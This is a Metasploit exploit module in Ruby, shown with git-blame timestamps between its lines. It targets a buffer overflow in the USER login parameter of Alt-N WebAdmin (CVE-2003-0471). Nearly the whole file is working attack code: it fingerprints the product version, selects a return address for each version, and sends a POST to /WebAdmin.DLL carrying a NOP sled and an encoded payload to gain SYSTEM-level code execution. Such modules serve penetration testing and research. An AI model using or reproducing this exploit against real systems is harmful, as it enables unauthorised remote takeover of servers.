2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-15 00:48:03 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-02-15 00:48:03 +00:00
|
|
|
super(update_info(info,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
Alt-N WebAdmin is prone to a buffer overflow condition. This
|
|
|
|
is due to insufficient bounds checking on the USER
|
|
|
|
parameter. Successful exploitation could result in code
|
|
|
|
execution with SYSTEM level privileges.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-05-12 19:56:54 +00:00
|
|
|
[ 'CVE', '2003-0471' ],
|
|
|
|
[ 'OSVDB', '2207' ],
|
2005-12-26 14:34:22 +00:00
|
|
|
[ 'BID', '8024'],
|
2011-10-16 09:53:53 +00:00
|
|
|
[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']
|
2005-12-26 14:34:22 +00:00
|
|
|
],
|
2009-12-21 18:18:18 +00:00
|
|
|
'Privileged' => true,
|
2005-12-26 14:34:22 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 830,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-02-15 00:48:03 +00:00
|
|
|
'Targets' =>
|
2005-12-26 14:34:22 +00:00
|
|
|
[
|
2010-02-15 00:48:03 +00:00
|
|
|
['Automatic', {}],
|
2005-12-26 14:34:22 +00:00
|
|
|
['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
|
|
|
|
['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
|
|
|
|
['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
|
2010-02-15 00:48:03 +00:00
|
|
|
['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
|
2005-12-26 14:34:22 +00:00
|
|
|
],
|
2010-02-15 00:48:03 +00:00
|
|
|
'DefaultTarget' => 0,
|
2005-12-26 14:34:22 +00:00
|
|
|
'DisclosureDate' => 'Jun 24 2003'))
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2008-01-06 14:46:01 +00:00
|
|
|
register_options([Opt::RPORT(1000)], self.class)
|
2005-12-26 14:34:22 +00:00
|
|
|
end
|
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
def exploit
|
|
|
|
|
|
|
|
mytarget = target
|
|
|
|
|
|
|
|
if (target.name =~ /Automatic/)
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => '/WebAdmin.DLL'
|
|
|
|
}, -1)
|
|
|
|
|
|
|
|
if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
|
|
|
|
case $1
|
|
|
|
when /2\.0\.4/
|
|
|
|
mytarget = targets[1]
|
|
|
|
when /2\.0\.3/
|
|
|
|
mytarget = targets[2]
|
|
|
|
when /2\.0\.2/
|
|
|
|
mytarget = targets[3]
|
|
|
|
when /2\.0\.1/
|
|
|
|
mytarget = targets[4]
|
|
|
|
else
|
|
|
|
print_error("No target found for v#{$1}")
|
|
|
|
return
|
|
|
|
end
|
2006-09-18 00:54:29 +00:00
|
|
|
else
|
2010-02-15 00:48:03 +00:00
|
|
|
print_error("No target found")
|
2006-09-18 00:54:29 +00:00
|
|
|
end
|
|
|
|
end
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
user_cook = rand_text_alphanumeric(2)
|
2010-02-15 00:48:03 +00:00
|
|
|
post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
|
2005-12-26 14:34:22 +00:00
|
|
|
post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2006-12-28 23:42:36 +00:00
|
|
|
print_status("Sending request...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/WebAdmin.DLL',
|
|
|
|
'query' => 'View=Logon',
|
2005-12-26 14:34:22 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'content-type' => 'application/x-www-form-urlencoded',
|
2006-09-18 00:54:29 +00:00
|
|
|
'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
|
2005-12-26 14:34:22 +00:00
|
|
|
'data' => post_data,
|
2010-02-15 00:48:03 +00:00
|
|
|
'headers' =>
|
2006-12-28 23:42:36 +00:00
|
|
|
{
|
|
|
|
'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
|
|
|
|
'Accept-Language' => 'en',
|
|
|
|
'Accept-Charset' => 'iso-8859-1,*,utf-8'
|
|
|
|
}
|
|
|
|
}, 5)
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-05-12 19:56:54 +00:00
|
|
|
end
|